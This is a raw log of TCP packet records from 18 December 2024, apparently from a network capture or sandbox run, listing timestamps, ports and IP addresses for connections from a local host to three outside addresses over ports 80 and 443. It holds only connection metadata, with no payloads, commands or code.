Dec 18, 2024 16:16:45.201395988 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.201447964 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.201484919 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.201519966 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.201538086 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.208966017 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.209023952 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.209047079 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.209058046 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.209121943 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.217822075 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.217875004 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.217912912 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.217938900 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.217945099 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.217973948 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.218029022 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.225747108 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.225821018 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.225821018 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.225855112 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.225886106 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.225929022 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.225958109 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.234708071 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.234765053 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.234805107 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.234816074 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.234853029 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.242471933 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.242542028 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.242582083 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.242592096 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.242625952 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.250053883 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.250102997 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.250153065 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.250168085 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.250219107 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.300816059 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.300834894 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.348875046 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.388305902 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.388315916 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.388372898 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.388391972 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.388444901 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.388458014 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.388551950 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.396266937 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.396276951 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.396306038 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.396342993 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.396352053 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.396361113 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.396370888 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.396404982 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.403784037 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.403877020 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.403897047 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.403964043 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.403990984 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.410770893 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.410818100 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.410856009 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.410866022 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.410898924 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.418030977 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.418085098 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.418113947 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.418127060 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.418139935 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.424406052 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.424488068 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.424566984 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.424576998 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.424633980 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.432389021 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.432440996 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.432476997 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.432486057 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.432506084 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.438579082 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.438633919 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.438659906 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.438664913 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.438707113 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.492825985 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.578020096 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.584044933 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.584091902 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.584147930 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.584178925 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.584201097 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.584219933 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.590667009 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.590722084 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.590761900 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.590778112 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.590820074 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.596976995 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.597047091 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.597105980 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.597117901 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.597162962 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.603085041 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.603148937 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.603185892 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.603203058 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.603239059 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.610847950 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.610940933 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.610948086 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.610980988 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.611020088 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.616543055 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.616611004 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.616638899 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.616657019 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.616686106 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.616708040 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.623756886 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.623819113 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.623847961 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.623859882 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.623889923 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.623913050 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.623955011 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.667836905 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.772458076 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.772525072 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.772556067 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.772587061 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.772618055 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.772644043 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.772649050 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.778554916 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.778609991 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.778630972 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.778645039 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.778691053 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.780097008 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.780157089 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.780164003 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.780194998 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.780246019 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.780833960 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.780849934 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.780860901 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.780867100 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:50.856076002 CET	49731	80	192.168.2.5	132.226.247.73
Dec 18, 2024 16:16:50.982131004 CET	80	49731	132.226.247.73	192.168.2.5
Dec 18, 2024 16:16:50.982211113 CET	49731	80	192.168.2.5	132.226.247.73
Dec 18, 2024 16:16:50.982860088 CET	49731	80	192.168.2.5	132.226.247.73
Dec 18, 2024 16:16:51.248688936 CET	80	49731	132.226.247.73	192.168.2.5
Dec 18, 2024 16:16:52.435329914 CET	80	49731	132.226.247.73	192.168.2.5
Dec 18, 2024 16:16:52.512976885 CET	49731	80	192.168.2.5	132.226.247.73
Dec 18, 2024 16:17:01.146357059 CET	49758	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:01.146394014 CET	443	49758	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:01.146586895 CET	49758	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:01.206547976 CET	49758	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:01.206559896 CET	443	49758	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:01.876015902 CET	49759	80	192.168.2.5	132.226.247.73
Dec 18, 2024 16:17:01.998707056 CET	80	49759	132.226.247.73	192.168.2.5
Dec 18, 2024 16:17:02.001673937 CET	49759	80	192.168.2.5	132.226.247.73
Dec 18, 2024 16:17:02.002053022 CET	49759	80	192.168.2.5	132.226.247.73
Dec 18, 2024 16:17:02.124897003 CET	80	49759	132.226.247.73	192.168.2.5
Dec 18, 2024 16:17:02.587677002 CET	443	49758	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:02.587810040 CET	49758	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:02.589886904 CET	49758	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:02.589905977 CET	443	49758	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:02.590148926 CET	443	49758	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:02.669625998 CET	49758	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:02.715341091 CET	443	49758	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:02.716027975 CET	49758	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:02.716047049 CET	443	49758	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:03.327090025 CET	80	49759	132.226.247.73	192.168.2.5
Dec 18, 2024 16:17:03.338336945 CET	443	49758	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:03.339035034 CET	443	49758	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:03.339140892 CET	49758	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:03.412270069 CET	49759	80	192.168.2.5	132.226.247.73
Dec 18, 2024 16:17:03.444688082 CET	49758	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:08.671407938 CET	49775	80	192.168.2.5	132.226.247.73
Dec 18, 2024 16:17:08.791057110 CET	80	49775	132.226.247.73	192.168.2.5
Dec 18, 2024 16:17:08.791169882 CET	49775	80	192.168.2.5	132.226.247.73
Dec 18, 2024 16:17:08.791676998 CET	49775	80	192.168.2.5	132.226.247.73
Dec 18, 2024 16:17:08.911107063 CET	80	49775	132.226.247.73	192.168.2.5
Dec 18, 2024 16:17:09.958547115 CET	49782	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:09.958594084 CET	443	49782	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:09.958703995 CET	49782	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:09.973217964 CET	49782	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:09.973237038 CET	443	49782	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:10.098916054 CET	80	49775	132.226.247.73	192.168.2.5
Dec 18, 2024 16:17:10.257997990 CET	49775	80	192.168.2.5	132.226.247.73
Dec 18, 2024 16:17:11.338821888 CET	443	49782	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:11.338905096 CET	49782	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:11.340396881 CET	49782	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:11.340409040 CET	443	49782	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:11.340653896 CET	443	49782	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:11.383047104 CET	49782	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:11.386161089 CET	49782	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:11.431329966 CET	443	49782	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:11.431488991 CET	49782	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:11.431497097 CET	443	49782	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:13.056886911 CET	49790	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:13.056938887 CET	443	49790	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:13.057013035 CET	49790	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:13.058077097 CET	49790	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:13.058088064 CET	443	49790	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:14.454458952 CET	443	49790	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:14.457998991 CET	49790	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:14.458038092 CET	443	49790	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:14.458157063 CET	49790	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:14.458163023 CET	443	49790	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:15.853646040 CET	49799	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:15.853708029 CET	443	49799	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:15.856358051 CET	49799	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:15.869211912 CET	49799	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:15.869246006 CET	443	49799	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:16.849024057 CET	443	49782	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:16.850274086 CET	443	49782	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:16.850670099 CET	49782	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:16.852691889 CET	49782	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:16.923055887 CET	443	49790	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:16.923607111 CET	443	49790	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:16.923746109 CET	49790	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:16.924004078 CET	49790	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:16.924549103 CET	49731	80	192.168.2.5	132.226.247.73
Dec 18, 2024 16:17:16.925290108 CET	49800	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:16.925326109 CET	443	49800	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:16.925471067 CET	49800	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:16.925657988 CET	49800	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:16.925672054 CET	443	49800	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:17.044800043 CET	80	49731	132.226.247.73	192.168.2.5
Dec 18, 2024 16:17:17.045986891 CET	49731	80	192.168.2.5	132.226.247.73
Dec 18, 2024 16:17:17.248729944 CET	443	49799	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:17.248819113 CET	49799	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:17.250217915 CET	49799	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:17.250236034 CET	443	49799	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:17.250500917 CET	443	49799	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:17.304857016 CET	49799	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:17.313074112 CET	49799	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:17.359340906 CET	443	49799	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:17.359404087 CET	49799	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:17.359436989 CET	443	49799	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:18.354216099 CET	443	49800	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:18.355890989 CET	49800	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:18.355927944 CET	443	49800	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:18.356021881 CET	49800	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:18.356028080 CET	443	49800	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:21.087924004 CET	443	49799	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:21.088011980 CET	443	49799	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:21.088093996 CET	49799	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:21.088843107 CET	49799	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:21.181086063 CET	443	49800	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:21.181219101 CET	443	49800	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:21.181288958 CET	49800	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:21.181667089 CET	49800	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:21.182924032 CET	49812	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:21.182955980 CET	443	49812	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:21.183070898 CET	49812	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:21.183274031 CET	49812	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:21.183301926 CET	443	49812	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:22.545583010 CET	443	49812	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:22.547122002 CET	49812	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:22.547136068 CET	443	49812	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:22.547278881 CET	49812	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:22.547285080 CET	443	49812	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:26.180310965 CET	49821	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:26.180366993 CET	443	49821	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:26.180424929 CET	49821	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:26.181010962 CET	49821	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:26.181024075 CET	443	49821	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:27.542282104 CET	443	49821	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:27.544040918 CET	49821	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:27.544085026 CET	443	49821	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:27.544150114 CET	49821	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:27.544159889 CET	443	49821	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:28.765460968 CET	443	49812	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:28.765539885 CET	443	49812	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:28.765697002 CET	49812	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:28.774750948 CET	49812	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:28.777813911 CET	49829	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:28.777856112 CET	443	49829	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:28.777945042 CET	49829	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:28.778311968 CET	49829	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:28.778327942 CET	443	49829	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:28.797797918 CET	443	49821	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:28.797971964 CET	443	49821	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:28.798057079 CET	49821	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:28.799768925 CET	49821	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:28.800247908 CET	49759	80	192.168.2.5	132.226.247.73
Dec 18, 2024 16:17:28.800924063 CET	49830	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:28.800970078 CET	443	49830	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:28.801074028 CET	49830	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:28.801234961 CET	49830	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:28.801253080 CET	443	49830	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:28.920253992 CET	80	49759	132.226.247.73	192.168.2.5
Dec 18, 2024 16:17:28.920381069 CET	49759	80	192.168.2.5	132.226.247.73
Dec 18, 2024 16:17:30.149538994 CET	443	49829	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:30.151091099 CET	49829	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:30.151103973 CET	443	49829	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:30.151205063 CET	49829	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:30.151211023 CET	443	49829	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:30.162080050 CET	443	49830	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:30.163824081 CET	49830	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:30.163853884 CET	443	49830	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:30.163942099 CET	49830	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:30.163947105 CET	443	49830	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:30.432892084 CET	49835	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:30.432934999 CET	443	49835	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:30.433003902 CET	49835	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:30.433546066 CET	49835	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:30.433562040 CET	443	49835	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:31.795872927 CET	443	49835	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:31.805620909 CET	49835	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:31.805644989 CET	443	49835	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:31.805881023 CET	49835	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:31.805886984 CET	443	49835	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:34.392015934 CET	443	49829	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:34.392242908 CET	443	49829	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:34.392337084 CET	49829	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:34.392858982 CET	49829	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:34.394179106 CET	49846	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:34.394237041 CET	443	49846	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:34.394314051 CET	49846	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:34.394506931 CET	49846	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:34.394522905 CET	443	49846	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:34.460385084 CET	443	49830	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:34.460529089 CET	443	49830	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:34.460647106 CET	49830	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:34.460871935 CET	49830	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:34.462353945 CET	49847	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:34.462418079 CET	443	49847	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:34.462510109 CET	49847	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:34.462747097 CET	49847	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:34.462785959 CET	443	49847	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:34.509646893 CET	443	49835	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:34.511204004 CET	443	49835	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:34.511281967 CET	49835	443	192.168.2.5	149.154.167.220
